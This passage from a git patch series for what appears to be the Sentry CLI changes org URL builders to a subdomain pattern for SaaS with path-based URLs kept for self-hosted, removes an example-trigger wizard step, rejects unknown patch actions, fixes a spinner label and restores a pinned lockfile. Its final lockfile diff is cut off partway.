expect(createProjectSpy).not.toHaveBeenCalled(); + }); + + test("multiple orgs + interactive select picks chosen org", async () => { + resolveOrgSpy.mockResolvedValue(null); + listOrgsSpy.mockResolvedValue([ + { id: "1", slug: "org-a", name: "Org A" }, + { id: "2", slug: "org-b", name: "Org B" }, + ]); + selectSpy.mockResolvedValue("org-b"); + mockDownstreamSuccess("org-b"); + + const result = await handleLocalOp(makePayload(), makeOptions()); + + expect(result.ok).toBe(true); + const data = result.data as { orgSlug: string }; + expect(data.orgSlug).toBe("org-b"); + expect(selectSpy).toHaveBeenCalledTimes(1); + }); + + test("multiple orgs + user cancels select returns ok:false", async () => { + resolveOrgSpy.mockResolvedValue(null); + listOrgsSpy.mockResolvedValue([ + { id: "1", slug: "org-a", name: "Org A" }, + { id: "2", slug: "org-b", name: "Org B" }, + ]); + selectSpy.mockResolvedValue(Symbol.for("cancel")); + + const result = await handleLocalOp(makePayload(), makeOptions()); + + expect(result.ok).toBe(false); + expect(result.error).toContain("cancelled"); + expect(createProjectSpy).not.toHaveBeenCalled(); + }); + + test("API error (e.g. 409 conflict) returns ok:false", async () => { + resolveOrgSpy.mockResolvedValue({ org: "acme-corp" }); + resolveOrCreateTeamSpy.mockResolvedValue({ + slug: "engineering", + source: "auto-selected", + }); + createProjectSpy.mockRejectedValue( + new Error("409: A project with this slug already exists") + ); + + const result = await handleLocalOp(makePayload(), makeOptions()); + + expect(result.ok).toBe(false); + expect(result.error).toContain("already exists"); + }); + + test("DSN unavailable still returns ok:true with empty dsn", async () => { + resolveOrgSpy.mockResolvedValue({ org: "acme-corp" }); + resolveOrCreateTeamSpy.mockResolvedValue({ + slug: "engineering", + source: "auto-selected", + }); + createProjectSpy.mockResolvedValue(sampleProject); + tryGetPrimaryDsnSpy.mockResolvedValue(null); + buildProjectUrlSpy.mockReturnValue( + "https://sentry.io/settings/acme-corp/projects/my-app/" + ); + + const result = await handleLocalOp(makePayload(), makeOptions()); + + expect(result.ok).toBe(true); + const data = result.data as { dsn: string }; + expect(data.dsn).toBe(""); + }); +}); From 4803bbff8244c300fc49712244fc57cd77bd9505 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miguel=20Beteg=C3=B3n?= Date: Thu, 5 Mar 2026 16:26:17 +0100 Subject: [PATCH 64/72] fix: use org-as-subdomain pattern for SaaS, path-based for self-hosted (#354) ## Summary - Add `getOrgBaseUrl()` helper that builds org-scoped subdomain URLs for SaaS (e.g. `https://my-org.sentry.io`) while returning the base URL unchanged for self-hosted instances - Update all 8 URL builder functions in `sentry-urls.ts` to branch on SaaS vs self-hosted: - **SaaS**: subdomain pattern (`https://my-org.sentry.io/issues/...`) - **Self-hosted**: path-based pattern (`https://sentry.company.com/organizations/my-org/issues/...`) - Add `isSaaS()` private helper that checks the current base URL against `isSentrySaasUrl()` - Add self-hosted test coverage verifying all builders produce path-based URLs with no subdomain prepended ## How this affected our `sentry init` command - before: `https://sentry.io/settings/bete-dev/projects/project-created/` - after: `https://bete-dev.sentry.io/settings/projects/project-created/` ## Test plan - [x] `bun run typecheck` passes - [x] `bun run lint` passes - [x] `bun test test/lib/sentry-urls.property.test.ts` passes (45 tests, including 10 new self-hosted tests) - [x] SaaS URLs still use `{org}.sentry.io` subdomain pattern - [x] Self-hosted URLs use `/organizations/{org}/` or `/settings/{org}/` path patterns --- src/lib/sentry-url-parser.ts | 5 ++ src/lib/sentry-urls.ts | 48 +++++++++++- test/commands/project/create.test.ts | 2 +- test/lib/formatters/log.test.ts | 2 +- test/lib/formatters/seer.test.ts | 6 +- test/lib/sentry-urls.property.test.ts | 104 +++++++++++++++++++++++--- 6 files changed, 150 insertions(+), 17 deletions(-) diff --git a/src/lib/sentry-url-parser.ts b/src/lib/sentry-url-parser.ts index 8073d325..450d55f3 100644 --- a/src/lib/sentry-url-parser.ts +++ b/src/lib/sentry-url-parser.ts @@ -123,6 +123,11 @@ function matchSubdomainOrg( return { baseUrl, org, traceId: segments[1] }; } + // /settings/projects/{project}/ (org-scoped subdomain settings URL) + if (segments[0] === "settings" && segments[1] === "projects" && segments[2]) { + return { baseUrl, org, project: segments[2] }; + } + // Bare org subdomain URL if (segments.length === 0) { return { baseUrl, org }; diff --git a/src/lib/sentry-urls.ts b/src/lib/sentry-urls.ts index de0e8b0e..07b67715 100644 --- a/src/lib/sentry-urls.ts +++ b/src/lib/sentry-urls.ts @@ -15,6 +15,27 @@ export function getSentryBaseUrl(): string { return process.env.SENTRY_URL ?? DEFAULT_SENTRY_URL; } +/** + * Build the org-scoped base URL using the subdomain pattern. + * E.g. "https://sentry.io" + "my-org" → "https://my-org.sentry.io" + * + * @param orgSlug - Organization slug + * @returns Origin URL with org as subdomain + */ +export function getOrgBaseUrl(orgSlug: string): string { + const base = getSentryBaseUrl(); + if (!isSentrySaasUrl(base)) { + return base; + } + const parsed = new URL(base); + parsed.hostname = `${orgSlug}.${parsed.hostname}`; + return parsed.origin; +} + +function isSaaS(): boolean { + return isSentrySaasUrl(getSentryBaseUrl()); +} + /** * Check if a URL is a Sentry SaaS domain. * @@ -43,6 +64,9 @@ export function isSentrySaasUrl(url: string): boolean { * @returns Full URL to the organization page */ export function buildOrgUrl(orgSlug: string): string { + if (isSaaS()) { + return `${getOrgBaseUrl(orgSlug)}/`; + } return `${getSentryBaseUrl()}/organizations/${orgSlug}/`; } @@ -54,6 +78,9 @@ export function buildOrgUrl(orgSlug: string): string { * @returns Full URL to the project settings page */ export function buildProjectUrl(orgSlug: string, projectSlug: string): string { + if (isSaaS()) { + return `${getOrgBaseUrl(orgSlug)}/settings/projects/${projectSlug}/`; + } return `${getSentryBaseUrl()}/settings/${orgSlug}/projects/${projectSlug}/`; } @@ -66,6 +93,9 @@ export function buildProjectUrl(orgSlug: string, projectSlug: string): string { * @returns Full URL to search results showing the event */ export function buildEventSearchUrl(orgSlug: string, eventId: string): string { + if (isSaaS()) { + return `${getOrgBaseUrl(orgSlug)}/issues/?query=event.id:${eventId}`; + } return `${getSentryBaseUrl()}/organizations/${orgSlug}/issues/?query=event.id:${eventId}`; } @@ -79,7 +109,9 @@ export function buildEventSearchUrl(orgSlug: string, eventId: string): string { * @returns Full URL to the organization settings page */ export function buildOrgSettingsUrl(orgSlug: string, hash?: string): string { - const url = `${getSentryBaseUrl()}/settings/${orgSlug}/`; + const url = isSaaS() + ? `${getOrgBaseUrl(orgSlug)}/settings/` + : `${getSentryBaseUrl()}/settings/${orgSlug}/`; return hash ? `${url}#${hash}` : url; } @@ -90,6 +122,9 @@ export function buildOrgSettingsUrl(orgSlug: string, hash?: string): string { * @returns Full URL to the Seer settings page */ export function buildSeerSettingsUrl(orgSlug: string): string { + if (isSaaS()) { + return `${getOrgBaseUrl(orgSlug)}/settings/seer/`; + } return `${getSentryBaseUrl()}/settings/${orgSlug}/seer/`; } @@ -101,7 +136,9 @@ export function buildSeerSettingsUrl(orgSlug: string): string { * @returns Full URL to the billing overview page */ export function buildBillingUrl(orgSlug: string, product?: string): string { - const base = `${getSentryBaseUrl()}/settings/${orgSlug}/billing/overview/`; + const base = isSaaS() + ? `${getOrgBaseUrl(orgSlug)}/settings/billing/overview/` + : `${getSentryBaseUrl()}/settings/${orgSlug}/billing/overview/`; return product ? `${base}?product=${product}` : base; } @@ -115,7 +152,9 @@ export function buildBillingUrl(orgSlug: string, product?: string): string { * @returns Full URL to the Logs explorer */ export function buildLogsUrl(orgSlug: string, logId?: string): string { - const base = `${getSentryBaseUrl()}/organizations/${orgSlug}/explore/logs/`; + const base = isSaaS() + ? `${getOrgBaseUrl(orgSlug)}/explore/logs/` + : `${getSentryBaseUrl()}/organizations/${orgSlug}/explore/logs/`; return logId ? `${base}?query=sentry.item_id:${logId}` : base; } @@ -127,5 +166,8 @@ export function buildLogsUrl(orgSlug: string, logId?: string): string { * @returns Full URL to the trace view */ export function buildTraceUrl(orgSlug: string, traceId: string): string { + if (isSaaS()) { + return `${getOrgBaseUrl(orgSlug)}/traces/${traceId}/`; + } return `${getSentryBaseUrl()}/organizations/${orgSlug}/traces/${traceId}/`; } diff --git a/test/commands/project/create.test.ts b/test/commands/project/create.test.ts index e785c1ae..00967e26 100644 --- a/test/commands/project/create.test.ts +++ b/test/commands/project/create.test.ts @@ -459,7 +459,7 @@ describe("project create", () => { await func.call(context, { json: false }, "my-app", "node"); const output = stdoutWrite.mock.calls.map((c) => c[0]).join(""); - expect(output).toContain("/settings/acme-corp/projects/my-app/"); + expect(output).toContain("acme-corp.sentry.io/settings/projects/my-app/"); }); test("shows slug divergence note when Sentry adjusts the slug", async () => { diff --git a/test/lib/formatters/log.test.ts b/test/lib/formatters/log.test.ts index eac02792..dd3fe3f5 100644 --- a/test/lib/formatters/log.test.ts +++ b/test/lib/formatters/log.test.ts @@ -349,7 +349,7 @@ describe("formatLogDetails", () => { expect(result).toContain("Span ID"); expect(result).toContain("span-abc-123"); expect(result).toContain("Link"); - expect(result).toContain("my-org/traces/trace123abc456def789"); + expect(result).toContain("my-org.sentry.io/traces/trace123abc456def789"); }); test("shows Source Location when code.function present", () => { diff --git a/test/lib/formatters/seer.test.ts b/test/lib/formatters/seer.test.ts index 6989ac23..6c028ba2 100644 --- a/test/lib/formatters/seer.test.ts +++ b/test/lib/formatters/seer.test.ts @@ -293,7 +293,7 @@ describe("SeerError formatting", () => { const error = new SeerError("not_enabled", "my-org"); const formatted = error.format(); expect(formatted).toContain("Seer is not enabled"); - expect(formatted).toContain("https://sentry.io/settings/my-org/seer/"); + expect(formatted).toContain("https://my-org.sentry.io/settings/seer/"); }); test("format() includes message and billing URL for no_budget", () => { @@ -301,7 +301,7 @@ describe("SeerError formatting", () => { const formatted = error.format(); expect(formatted).toContain("Seer requires a paid plan"); expect(formatted).toContain( - "https://sentry.io/settings/my-org/billing/overview/?product=seer" + "https://my-org.sentry.io/settings/billing/overview/?product=seer" ); }); @@ -310,7 +310,7 @@ describe("SeerError formatting", () => { const formatted = error.format(); expect(formatted).toContain("AI features are disabled"); expect(formatted).toContain( - "https://sentry.io/settings/my-org/#hideAiFeatures" + "https://my-org.sentry.io/settings/#hideAiFeatures" ); }); diff --git a/test/lib/sentry-urls.property.test.ts b/test/lib/sentry-urls.property.test.ts index ac645104..cc79b187 100644 --- a/test/lib/sentry-urls.property.test.ts +++ b/test/lib/sentry-urls.property.test.ts @@ -23,7 +23,7 @@ import { buildProjectUrl, buildSeerSettingsUrl, buildTraceUrl, - getSentryBaseUrl, + getOrgBaseUrl, isSentrySaasUrl, } from "../../src/lib/sentry-urls.js"; import { DEFAULT_NUM_RUNS } from "../model-based/helpers.js"; @@ -185,11 +185,11 @@ describe("isSentrySaasUrl properties", () => { }); describe("buildOrgUrl properties", () => { - test("output always starts with base URL", async () => { + test("output always starts with org base URL", async () => { await fcAssert( property(slugArb, (orgSlug) => { const result = buildOrgUrl(orgSlug); - expect(result.startsWith(getSentryBaseUrl())).toBe(true); + expect(result.startsWith(getOrgBaseUrl(orgSlug))).toBe(true); }), { numRuns: DEFAULT_NUM_RUNS } ); @@ -209,7 +209,7 @@ describe("buildOrgUrl properties", () => { await fcAssert( property(slugArb, (orgSlug) => { const result = buildOrgUrl(orgSlug); - expect(result).toBe(`${getSentryBaseUrl()}/organizations/${orgSlug}/`); + expect(result).toBe(`${getOrgBaseUrl(orgSlug)}/`); }), { numRuns: DEFAULT_NUM_RUNS } ); @@ -243,7 +243,7 @@ describe("buildProjectUrl properties", () => { property(tuple(slugArb, slugArb), ([orgSlug, projectSlug]) => { const result = buildProjectUrl(orgSlug, projectSlug); expect(result).toBe( - `${getSentryBaseUrl()}/settings/${orgSlug}/projects/${projectSlug}/` + `${getOrgBaseUrl(orgSlug)}/settings/projects/${projectSlug}/` ); }), { numRuns: DEFAULT_NUM_RUNS } @@ -331,7 +331,7 @@ describe("buildSeerSettingsUrl properties", () => { await fcAssert( property(slugArb, (orgSlug) => { const result = buildSeerSettingsUrl(orgSlug); - expect(result).toContain(`/settings/${orgSlug}/`); + expect(result).toContain("/settings/seer/"); }), { numRuns: DEFAULT_NUM_RUNS } ); @@ -447,15 +447,101 @@ describe("buildTraceUrl properties", () => { await fcAssert( property(tuple(slugArb, traceIdArb), ([orgSlug, traceId]) => { const result = buildTraceUrl(orgSlug, traceId); - expect(result).toBe( - `${getSentryBaseUrl()}/organizations/${orgSlug}/traces/${traceId}/` - ); + expect(result).toBe(`${getOrgBaseUrl(orgSlug)}/traces/${traceId}/`); }), { numRuns: DEFAULT_NUM_RUNS } ); }); }); +describe("self-hosted URLs", () => { + const SELF_HOSTED_URL = "https://sentry.company.com"; + + beforeEach(() => { + process.env.SENTRY_URL = SELF_HOSTED_URL; + }); + + test("getOrgBaseUrl returns base URL without subdomain", () => { + expect(getOrgBaseUrl("my-org")).toBe(SELF_HOSTED_URL); + }); + + test("buildOrgUrl uses path-based pattern", () => { + expect(buildOrgUrl("my-org")).toBe( + `${SELF_HOSTED_URL}/organizations/my-org/` + ); + }); + + test("buildEventSearchUrl uses path-based pattern", () => { + expect( + buildEventSearchUrl("my-org", "abc123def456abc123def456abc123de") + ).toBe( + `${SELF_HOSTED_URL}/organizations/my-org/issues/?query=event.id:abc123def456abc123def456abc123de` + ); + }); + + test("buildLogsUrl uses path-based pattern", () => { + expect(buildLogsUrl("my-org")).toBe( + `${SELF_HOSTED_URL}/organizations/my-org/explore/logs/` + ); + }); + + test("buildTraceUrl uses path-based pattern", () => { + expect(buildTraceUrl("my-org", "abc123def456abc123def456abc123de")).toBe( + `${SELF_HOSTED_URL}/organizations/my-org/traces/abc123def456abc123def456abc123de/` + ); + }); + + test("buildProjectUrl uses path-based pattern", () => { + expect(buildProjectUrl("my-org", "my-project")).toBe( + `${SELF_HOSTED_URL}/settings/my-org/projects/my-project/` + ); + }); + + test("buildOrgSettingsUrl uses path-based pattern", () => { + expect(buildOrgSettingsUrl("my-org")).toBe( + `${SELF_HOSTED_URL}/settings/my-org/` + ); + }); + + test("buildSeerSettingsUrl uses path-based pattern", () => { + expect(buildSeerSettingsUrl("my-org")).toBe( + `${SELF_HOSTED_URL}/settings/my-org/seer/` + ); + }); + + test("buildBillingUrl uses path-based pattern", () => { + expect(buildBillingUrl("my-org")).toBe( + `${SELF_HOSTED_URL}/settings/my-org/billing/overview/` + ); + }); + + test("no URL builder prepends org as subdomain", async () => { + await fcAssert( + property( + tuple(slugArb, slugArb, eventIdArb), + ([orgSlug, projectSlug, eventId]) => { + const urls = [ + buildOrgUrl(orgSlug), + buildProjectUrl(orgSlug, projectSlug), + buildEventSearchUrl(orgSlug, eventId), + buildOrgSettingsUrl(orgSlug), + buildSeerSettingsUrl(orgSlug), + buildBillingUrl(orgSlug), + buildLogsUrl(orgSlug), + buildTraceUrl(orgSlug, eventId), + ]; + + for (const url of urls) { + const parsed = new URL(url); + expect(parsed.hostname).toBe("sentry.company.com"); + } + } + ), + { numRuns: DEFAULT_NUM_RUNS } + ); + }); +}); + describe("URL building cross-function properties", () => { test("all URL builders produce valid URLs", async () => { await fcAssert( From 1313877ece260bd045ab60f477f15cbf1130573c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miguel=20Beteg=C3=B3n?= Date: Thu, 5 Mar 2026 19:50:48 +0100 Subject: [PATCH 65/72] refactor(init): remove add-example-trigger step (#357) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Summary Removes `add-example-trigger` references from the CLI to match the API repo, where this step was already removed. Cleans up the step label, confirm handler logic, `purpose` field on `ConfirmPayload`, and 5 related test cases. ## Changes - Removed `"add-example-trigger"` from `STEP_LABELS` in `clack-utils.ts` - Removed `addExample` / `isExample` logic from `handleConfirm` in `interactive.ts` - Removed optional `purpose` field from `ConfirmPayload` in `types.ts` - Removed 5 test cases covering example-trigger confirm behavior ## Test plan - `bun run lint` passes - `bun test test/lib/init/interactive.test.ts` — remaining confirm tests pass - `git grep "addExample\|add-example-trigger\|add-example" -- src/ test/` returns 0 matches 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.6 --- src/lib/init/clack-utils.ts | 1 - src/lib/init/interactive.ts | 11 ----- src/lib/init/types.ts | 1 - test/lib/init/interactive.test.ts | 71 ------------------------------- 4 files changed, 84 deletions(-) diff --git a/src/lib/init/clack-utils.ts b/src/lib/init/clack-utils.ts index d876721e..a71d1532 100644 --- a/src/lib/init/clack-utils.ts +++ b/src/lib/init/clack-utils.ts @@ -68,6 +68,5 @@ export const STEP_LABELS: Record = { "plan-codemods": "Planning code modifications", "apply-codemods": "Applying code modifications", "verify-changes": "Verifying changes", - "add-example-trigger": "Example error trigger", "open-sentry-ui": "Finishing up", }; diff --git a/src/lib/init/interactive.ts b/src/lib/init/interactive.ts index 141791f6..aa4ae0b4 100644 --- a/src/lib/init/interactive.ts +++ b/src/lib/init/interactive.ts @@ -130,14 +130,7 @@ async function handleConfirm( payload: ConfirmPayload, options: WizardOptions ): Promise> { - const isExample = - payload.purpose === "add-example" || payload.prompt.includes("example"); - if (options.yes) { - if (isExample) { - log.info("Auto-confirmed: adding example trigger"); - return { addExample: true }; - } log.info("Auto-confirmed: continuing"); return { action: "continue" }; } @@ -148,9 +141,5 @@ async function handleConfirm( }); const value = abortIfCancelled(confirmed); - - if (isExample) { - return { addExample: value }; - } return { action: value ? "continue" : "stop" }; } diff --git a/src/lib/init/types.ts b/src/lib/init/types.ts index a85f872e..2a78e117 100644 --- a/src/lib/init/types.ts +++ b/src/lib/init/types.ts @@ -134,7 +134,6 @@ export type ConfirmPayload = { type: "interactive"; kind: "confirm"; prompt: string; - purpose?: string; }; // Combined suspend payload — either a local-op or an interactive prompt diff --git a/test/lib/init/interactive.test.ts b/test/lib/init/interactive.test.ts index 258ae2b5..d157aff7 100644 --- a/test/lib/init/interactive.test.ts +++ b/test/lib/init/interactive.test.ts @@ -293,19 +293,6 @@ describe("handleMultiSelect", () => { }); describe("handleConfirm", () => { - test("auto-confirms with addExample when prompt contains 'example' and --yes", async () => { - const result = await handleInteractive( - { - type: "interactive", - prompt: "Add an example error trigger?", - kind: "confirm", - }, - makeOptions({ yes: true }) - ); - - expect(result).toEqual({ addExample: true }); - }); - test("auto-confirms with action: continue for non-example prompts with --yes", async () => { const result = await handleInteractive( { @@ -319,21 +306,6 @@ describe("handleConfirm", () => { expect(result).toEqual({ action: "continue" }); }); - test("returns addExample based on user choice for example prompts", async () => { - confirmSpy.mockImplementation(() => Promise.resolve(false) as any); - - const result = await handleInteractive( - { - type: "interactive", - prompt: "Add an example error trigger?", - kind: "confirm", - }, - makeOptions({ yes: false }) - ); - - expect(result).toEqual({ addExample: false }); - }); - test("throws WizardCancelledError when user cancels confirm", async () => { confirmSpy.mockImplementation( () => Promise.resolve(Symbol.for("cancel")) as any @@ -351,49 +323,6 @@ describe("handleConfirm", () => { ).rejects.toThrow("Setup cancelled"); }); - test("returns addExample: true via purpose field with --yes", async () => { - const result = await handleInteractive( - { - type: "interactive", - prompt: "Would you like to add a trigger?", - kind: "confirm", - purpose: "add-example", - }, - makeOptions({ yes: true }) - ); - - expect(result).toEqual({ addExample: true }); - }); - - test("returns addExample via purpose field in interactive mode", async () => { - confirmSpy.mockImplementation(() => Promise.resolve(false) as any); - - const result = await handleInteractive( - { - type: "interactive", - prompt: "Would you like to add a trigger?", - kind: "confirm", - purpose: "add-example", - }, - makeOptions({ yes: false }) - ); - - expect(result).toEqual({ addExample: false }); - }); - - test("falls back to prompt string match when no purpose field", async () => { - const result = await handleInteractive( - { - type: "interactive", - prompt: "Add an example error trigger?", - kind: "confirm", - }, - makeOptions({ yes: true }) - ); - - expect(result).toEqual({ addExample: true }); - }); - test("returns action: stop when user declines non-example prompt", async () => { confirmSpy.mockImplementation(() => Promise.resolve(false) as any); From 6bdb9fff2f2501b2d5d8663b0a6e5f0850e0d5ba Mon Sep 17 00:00:00 2001 From: betegon Date: Thu, 5 Mar 2026 20:05:41 +0100 Subject: [PATCH 66/72] fix(init): reject unknown patch actions in both dry-run and real patchset paths Previously, applyPatchsetDryRun recorded every patch as applied regardless of its action, while the real applyPatchset silently skipped unknown actions via default: break. Both paths now return an explicit error on unrecognized patch actions so behavior is consistent. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/local-ops.ts | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 7977ed00..79024f71 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -486,6 +486,12 @@ function applyPatchsetDryRun(payload: ApplyPatchsetPayload): LocalOpResult { for (const patch of params.patches) { safePath(cwd, patch.path); + if (!["create", "modify", "delete"].includes(patch.action)) { + return { + ok: false, + error: `Unknown patch action: "${patch.action}" for path "${patch.path}"`, + }; + } applied.push({ path: patch.path, action: patch.action }); } @@ -540,7 +546,10 @@ function applyPatchset( break; } default: - break; + return { + ok: false, + error: `Unknown patch action: "${patch.action}" for path "${patch.path}"`, + }; } } From 32cb8bde50058d450ae1953f93f5ee85237b4a4e Mon Sep 17 00:00:00 2001 From: betegon Date: Thu, 5 Mar 2026 20:09:47 +0100 Subject: [PATCH 67/72] fix(init): use "Error" spinner label for non-cancellation failures The catch block in the suspend/resume loop was showing "Cancelled" for errors like network timeouts and API failures. Use "Error" to match the label used in other error paths in the same file. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/wizard-runner.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index f60571ee..4240d995 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -274,7 +274,7 @@ export async function runWizard(options: WizardOptions): Promise { process.exitCode = 1; return; } - spin.stop("Cancelled", 1); + spin.stop("Error", 1); log.error(errorMessage(err)); cancel("Setup failed"); process.exitCode = 1; From 61bdb09d737a500d6d69e3df9311f741de92ba21 Mon Sep 17 00:00:00 2001 From: betegon Date: Thu, 5 Mar 2026 20:23:21 +0100 Subject: [PATCH 68/72] fix(ci): restore working bun.lock to fix quansync peer dependency error The merge conflict resolution inadvertently upgraded @mastra/client-js to 1.7.2, pulling in @mastra/core@1.9.0 which introduces a quansync peer dependency that bun 1.3.9 can't resolve with --frozen-lockfile. Restored lockfile from ba6bd73 and re-resolved to keep @mastra/client-js pinned at 1.7.1. Co-Authored-By: Claude Opus 4.6 --- bun.lock | 54 +++++++++++++----------------------------------------- 1 file changed, 13 insertions(+), 41 deletions(-) diff --git a/bun.lock b/bun.lock index a13df34a..5a82556d 100644 --- a/bun.lock +++ b/bun.lock @@ -174,7 +174,7 @@ "@esbuild/win32-x64": ["@esbuild/win32-x64@0.25.12", "", { "os": "win32", "cpu": "x64" }, "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA=="], - "@hono/node-server": ["@hono/node-server@1.19.11", "", { "peerDependencies": { "hono": "^4" } }, "sha512-dr8/3zEaB+p0D2n/IUrlPF1HZm586qgJNXK1a9fhg/PzdtkK7Ksd5l312tJX2yBuALqDYBlG20QEbayqPyxn+g=="], + "@hono/node-server": ["@hono/node-server@1.19.9", "", { "peerDependencies": { "hono": "^4" } }, "sha512-vHL6w3ecZsky+8P5MD+eFfaGTyCeOHUIFYMGpQGbrBTSmNNoxv0if69rEZ5giu36weC5saFuznL411gRX7bJDw=="], "@isaacs/balanced-match": ["@isaacs/balanced-match@4.0.1", "", {}, "sha512-yzMTt9lEb8Gv7zRioUilSglI0c0smZ9k5D65677DLWLtWJaXIS3CqcGyUFByYKlnUj6TkjLVs54fBl6+TiGQDQ=="], @@ -196,9 +196,9 @@ "@lukeed/uuid": ["@lukeed/uuid@2.0.1", "", { "dependencies": { "@lukeed/csprng": "^1.1.0" } }, "sha512-qC72D4+CDdjGqJvkFMMEAtancHUQ7/d/tAiHf64z8MopFDmcrtbcJuerDtFceuAfQJ2pDSfCKCtbqoGBNnwg0w=="], - "@mastra/client-js": ["@mastra/client-js@1.7.2", "", { "dependencies": { "@lukeed/uuid": "^2.0.1", "@mastra/core": "1.9.0", "@mastra/schema-compat": "1.1.3", "json-schema": "^0.4.0" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" } }, "sha512-EMR8Obj5ANdwNoC6GOw1okBNCxHbTjZd9w0JDUkFPeNfKGhZlWcvl44S8oMLadwB+Yt3lhYFmVTuSB5LFtfBPw=="], + "@mastra/client-js": ["@mastra/client-js@1.7.1", "", { "dependencies": { "@lukeed/uuid": "^2.0.1", "@mastra/core": "1.8.0", "@mastra/schema-compat": "1.1.3", "json-schema": "^0.4.0" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" } }, "sha512-+MIIjhNr61WKWcEZgdNzBhYdNSVOQMRTXYO749kNXAuwPN8yeh4ESHesOPHPOs+3o8wFB8Cg82bz5Gl2FZyvJg=="], - "@mastra/core": ["@mastra/core@1.9.0", "", { "dependencies": { "@a2a-js/sdk": "~0.2.4", "@ai-sdk/provider-utils-v5": "npm:@ai-sdk/provider-utils@3.0.20", "@ai-sdk/provider-utils-v6": "npm:@ai-sdk/provider-utils@4.0.0", "@ai-sdk/provider-v5": "npm:@ai-sdk/provider@2.0.0", "@ai-sdk/provider-v6": "npm:@ai-sdk/provider@3.0.0", "@ai-sdk/ui-utils-v5": "npm:@ai-sdk/ui-utils@1.2.11", "@isaacs/ttlcache": "^2.1.4", "@lukeed/uuid": "^2.0.1", "@mastra/schema-compat": "1.1.3", "@modelcontextprotocol/sdk": "^1.17.5", "@sindresorhus/slugify": "^2.2.1", "dotenv": "^17.2.3", "execa": "^9.6.1", "gray-matter": "^4.0.3", "hono": "^4.11.9", "hono-openapi": "^1.1.1", "ignore": "^7.0.5", "js-tiktoken": "^1.0.21", "json-schema": "^0.4.0", "lru-cache": "^11.2.6", "p-map": "^7.0.3", "p-retry": "^7.1.0", "picomatch": "^4.0.3", "radash": "^12.1.1", "ws": "^8.19.0", "xxhash-wasm": "^1.1.0" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" } }, "sha512-wEMsWj/8WhDRLlv1oWPf2ss6FiNzQXluOd+dCQl9fge/Dk3MoIVDhAPBRAVHNhYLTyor8NQMJMkiCGyDZMPWHg=="], + "@mastra/core": ["@mastra/core@1.8.0", "", { "dependencies": { "@a2a-js/sdk": "~0.2.4", "@ai-sdk/provider-utils-v5": "npm:@ai-sdk/provider-utils@3.0.20", "@ai-sdk/provider-utils-v6": "npm:@ai-sdk/provider-utils@4.0.0", "@ai-sdk/provider-v5": "npm:@ai-sdk/provider@2.0.0", "@ai-sdk/provider-v6": "npm:@ai-sdk/provider@3.0.0", "@ai-sdk/ui-utils-v5": "npm:@ai-sdk/ui-utils@1.2.11", "@isaacs/ttlcache": "^2.1.4", "@lukeed/uuid": "^2.0.1", "@mastra/schema-compat": "1.1.3", "@modelcontextprotocol/sdk": "^1.17.5", "@sindresorhus/slugify": "^2.2.1", "dotenv": "^17.2.3", "gray-matter": "^4.0.3", "hono": "^4.11.9", "hono-openapi": "^1.1.1", "js-tiktoken": "^1.0.21", "json-schema": "^0.4.0", "lru-cache": "^11.2.6", "p-map": "^7.0.3", "p-retry": "^7.1.0", "picomatch": "^4.0.3", "radash": "^12.1.1", "xxhash-wasm": "^1.1.0" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" } }, "sha512-AK6Isj21mWlwX1zIZNUxgAQvRfjJmdjsPsKoh1cOvaM+h748S4U48TJ5DsmundSj/8NBeKHmYXqH2RYqwN35nw=="], "@mastra/schema-compat": ["@mastra/schema-compat@1.1.3", "", { "dependencies": { "json-schema-to-zod": "^2.7.0", "zod-from-json-schema": "^0.5.0", "zod-from-json-schema-v3": "npm:zod-from-json-schema@^0.0.5", "zod-to-json-schema": "^3.24.6" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" } }, "sha512-szLMJhqfnEn4VctFLKRZ2NIpfg+3UTghQWgy8Fcdchj2HvHxB2uilJxRybM9ugMmvyE+W48tVdz4Xi2Z1P3pFA=="], @@ -270,8 +270,6 @@ "@prisma/instrumentation": ["@prisma/instrumentation@7.2.0", "", { "dependencies": { "@opentelemetry/instrumentation": "^0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.8" } }, "sha512-Rh9Z4x5kEj1OdARd7U18AtVrnL6rmLSI0qYShaB4W7Wx5BKbgzndWF+QnuzMb7GLfVdlT5aYCXoPQVYuYtVu0g=="], - "@sec-ant/readable-stream": ["@sec-ant/readable-stream@0.4.1", "", {}, "sha512-831qok9r2t8AlxLko40y2ebgSDhenenCatLVeW/uBtnHPyhHOvG0C7TvfgecV+wHzIm5KUICgzmVpWS+IMEAeg=="], - "@sentry/api": ["@sentry/api@0.21.0", "", {}, "sha512-Q4Et4FfIbZ9gETLLG+SJ0/IpUCXC3W0C/o7jOQAfOj0qUgK5Rk0w1AHs23GTJhiN1QdlFSyy4QNS+JComkK6EQ=="], "@sentry/babel-plugin-component-annotate": ["@sentry/babel-plugin-component-annotate@2.23.1", "", {}, "sha512-l1z8AvI6k9I+2z49OgvP3SlzB1M0Lw24KtceiJibNaSyQwxsItoT9/XftZ/8BBtkosVmNOTQhL1eUsSkuSv1LA=="], @@ -306,8 +304,6 @@ "@sentry/opentelemetry": ["@sentry/opentelemetry@10.39.0", "", { "dependencies": { "@sentry/core": "10.39.0" }, "peerDependencies": { "@opentelemetry/api": "^1.9.0", "@opentelemetry/context-async-hooks": "^1.30.1 || ^2.1.0", "@opentelemetry/core": "^1.30.1 || ^2.1.0", "@opentelemetry/sdk-trace-base": 